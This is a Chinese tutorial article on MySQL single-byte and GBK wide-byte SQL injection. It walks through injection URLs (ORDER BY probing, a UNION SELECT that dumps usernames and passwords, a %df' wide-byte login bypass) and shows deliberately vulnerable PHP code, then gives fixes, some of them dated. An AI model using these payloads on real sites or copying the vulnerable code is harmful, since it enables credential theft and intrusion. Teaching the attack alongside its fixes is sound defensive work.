MySQL中SQL的单字节注入与宽字节注入

安全 数据安全 数据库运维 MySQL
本文将分别介绍MySQL中SQL的单字节注入与宽字节注入,这些问题是大家在日常工作中会碰到的问题。本文也将给出一些解决方法。

一、单字节SQL注入

MYSQL的SQL注入已经由来已久,以下是普遍采用的注入步骤:

1、在GET参数上加一个/*或者#(mysql专有的注释),判断数据库是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*

2、猜解某表的字段数,从order by 1一直更改到页面出错为止,就可以得到该表的字段数

注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#

对应的SQL:

select * from articles where id=1607 or 1=1 order by 10#….

3、使用该表和用户表进行关联查询,在文章列表里就可以看到用户名和密码了。当也要猜解用户表的表名和用户名、密码的字段名,比如上一步得到的字段数是5:

注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select  username,password,1,2,3 from user

对应的SQL:

select * from articles where id=1607 or 1=1  union select  username,password,1,2,3 from user

这样就可以在界面上看到用户名和密码了。

解决方法:

过滤数据:这并不是罗唆。在合适的地方使用良好的数据过滤,可以减小多数安全隐患,甚至可以消除其中的一部分。

将数据用括号包含:如果你的数据库允许(MySQL 允许),在 SQL 语句中,不论什么类型的数据都用单引号包含起来。

转义数据:一些合法的数据可能在无意中破坏 SQL 语句本身的格式。使用 mysql_escape_string() 或者所使用数据库提供的转移函数。如果没有提供这样的函数,addslashes() 也是不错的***选择。

二、宽字节注入

宽字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ = %df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。比如:

$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);
mysql_query(”SET NAMES ‘GBK’”);
mysql_select_db(”test”,$conn);
$user = mysql_escape_string($_GET['user']);
$pass = mysql_escape_string($_GET['pass']);
$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;
$result = mysql_query($sql,$conn);
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
 $rows[] = $row;
}
?>

则通过以下注入即可:
http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

对应的SQL是:

select * from cms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

解决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。如:

mysql_query(”SET character_set_client=binary”);

【编辑推荐】

  1. MySQL中Order By实现原理分析
  2. 详解MySQL分组查询Group By实现原理
  3. MySQL数据库接口的VC实现与应用
责任编辑:彭凡 来源: junney
相关推荐

2014-04-08 16:02:28

宽字节注入数据安全MYSQL

2017-10-10 14:38:35

2010-04-13 14:35:17

2023-08-08 14:51:29

2010-12-20 16:04:30

2018-02-10 09:44:19

2010-09-14 16:00:16

2017-05-08 14:33:51

2013-01-11 16:23:29

2017-08-10 10:23:59

2017-05-05 11:31:34

2017-03-01 14:16:20

2024-04-30 14:50:13

2010-09-08 13:10:03

2014-05-26 09:32:15

2020-10-26 07:04:29

SQL注入mysql

2013-05-02 15:09:22

2010-06-30 17:56:06

2010-10-22 15:18:18

SQL注入漏洞

2009-02-04 16:11:45

点赞
收藏

51CTO技术栈公众号